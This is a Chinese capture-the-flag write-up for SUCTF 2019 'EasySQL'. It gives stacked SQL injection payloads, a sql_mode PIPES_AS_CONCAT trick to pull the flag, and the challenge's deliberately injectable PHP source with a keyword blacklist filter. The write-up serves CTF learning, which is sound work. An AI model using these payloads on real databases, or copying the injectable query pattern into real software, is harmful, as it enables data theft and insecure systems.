[SUCTF 2019]EasySQL
打开源码得到
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>此处post传参，参数名query
query=11 %23
Array ( [0] => 11 )//回显点貌似只有一个这道waf过滤了太多关键词了，又想到堆叠注入
query=1;show databases; %23
Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )query=1;show tables; %23
Array ( [0] => 1 ) Array ( [0] => Flag )猜测flag在Flag表里
$sql = "select ".$post['query']."||flag from Flag";
//不知道哪儿来的源码这里就转为对||的处理
第一种直接用*查询全部
payload
query=*,1
//select *,1||flag from Flag 等效于select *,1 from Flag第二种 使用set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符。
payload
query=1;set sql_mode=pipes_as_concat;select 1// '||' 前面是真就会跳过后面
//select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag
//1||flag合并成一个单位回显题目源码
<?php
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
<?php
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
